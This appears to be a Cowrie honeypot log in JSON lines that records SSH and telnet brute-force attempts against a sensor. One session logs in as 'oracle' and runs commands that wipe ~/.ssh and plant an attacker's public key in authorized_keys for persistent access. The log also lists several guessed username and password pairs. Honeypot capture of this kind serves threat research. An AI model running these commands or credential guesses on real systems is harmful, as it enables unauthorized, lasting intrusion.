{"eventid":"cowrie.login.failed","username":"andoh","password":"123456","message":"login attempt [andoh/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:23.236738Z","src_ip":"159.203.92.129","session":"44b8109e34ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:24.243146Z","src_ip":"159.203.92.129","session":"44b8109e34ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":41566,"dst_ip":"10.17.0.5","dst_port":22,"session":"47003c30159b","protocol":"ssh","message":"New connection: 165.154.5.173:41566 (10.17.0.5:22) [session: 47003c30159b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:26.874671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:26.878928Z","src_ip":"165.154.5.173","session":"47003c30159b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:27.095029Z","src_ip":"165.154.5.173","session":"47003c30159b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"password@123","message":"login attempt [sftpuser/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:27.991986Z","src_ip":"165.154.5.173","session":"47003c30159b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:29.210784Z","src_ip":"165.154.5.173","session":"47003c30159b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":35784,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ad1b88ae6f6","protocol":"ssh","message":"New connection: 103.180.212.135:35784 (159.203.135.109:22) [session: 1ad1b88ae6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:34.380836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:34.385614Z","src_ip":"103.180.212.135","session":"1ad1b88ae6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:34.582138Z","src_ip":"103.180.212.135","session":"1ad1b88ae6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysqlpass","message":"login attempt [mysql/mysqlpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:35.405931Z","src_ip":"103.180.212.135","session":"1ad1b88ae6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:36.605198Z","src_ip":"103.180.212.135","session":"1ad1b88ae6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":39124,"dst_ip":"10.17.0.5","dst_port":23,"session":"37cd87cf5d9e","protocol":"telnet","message":"New connection: 194.195.250.213:39124 (10.17.0.5:23) [session: 37cd87cf5d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:36.655896Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49622,"dst_ip":"159.203.135.109","dst_port":22,"session":"0610eb46d77a","protocol":"ssh","message":"New connection: 159.203.92.129:49622 (159.203.135.109:22) [session: 0610eb46d77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:08.482841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:08.487999Z","src_ip":"159.203.92.129","session":"0610eb46d77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:08.492606Z","src_ip":"159.203.92.129","session":"0610eb46d77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andoh","password":"123654","message":"login attempt [andoh/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:08.506414Z","src_ip":"159.203.92.129","session":"0610eb46d77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:09.513016Z","src_ip":"159.203.92.129","session":"0610eb46d77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.69533109664917,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:15.351105Z","src_ip":"194.195.250.213","session":"37cd87cf5d9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":47402,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d5d844efecd","protocol":"ssh","message":"New connection: 165.154.5.173:47402 (10.17.0.5:22) [session: 6d5d844efecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:20.216079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:20.222803Z","src_ip":"165.154.5.173","session":"6d5d844efecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:20.438357Z","src_ip":"165.154.5.173","session":"6d5d844efecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password@123","message":"login attempt [ubuntu/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:21.336576Z","src_ip":"165.154.5.173","session":"6d5d844efecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:22.556627Z","src_ip":"165.154.5.173","session":"6d5d844efecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":41334,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e33ad782654","protocol":"ssh","message":"New connection: 103.180.212.135:41334 (159.203.135.109:22) [session: 4e33ad782654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:29.579246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:29.583452Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:29.778485Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle2022","message":"login attempt [oracle/oracle2022] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:30.597254Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:31.048383Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:31.051664Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:31.055383Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:31.254695Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:31.685147Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:31.688771Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:31.889009Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:31.892777Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":40120,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b452f32c4eb","protocol":"ssh","message":"New connection: 103.180.212.135:40120 (159.203.135.109:22) [session: 6b452f32c4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:32.074253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:32.078478Z","src_ip":"103.180.212.135","session":"6b452f32c4eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:32.270029Z","src_ip":"103.180.212.135","session":"6b452f32c4eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:33.066596Z","src_ip":"103.180.212.135","session":"6b452f32c4eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:34.261322Z","src_ip":"103.180.212.135","session":"6b452f32c4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":40126,"dst_ip":"159.203.135.109","dst_port":22,"session":"de726d257b9b","protocol":"ssh","message":"New connection: 103.180.212.135:40126 (159.203.135.109:22) [session: de726d257b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:34.455427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:34.460114Z","src_ip":"103.180.212.135","session":"de726d257b9b","protocol":"ssh"}
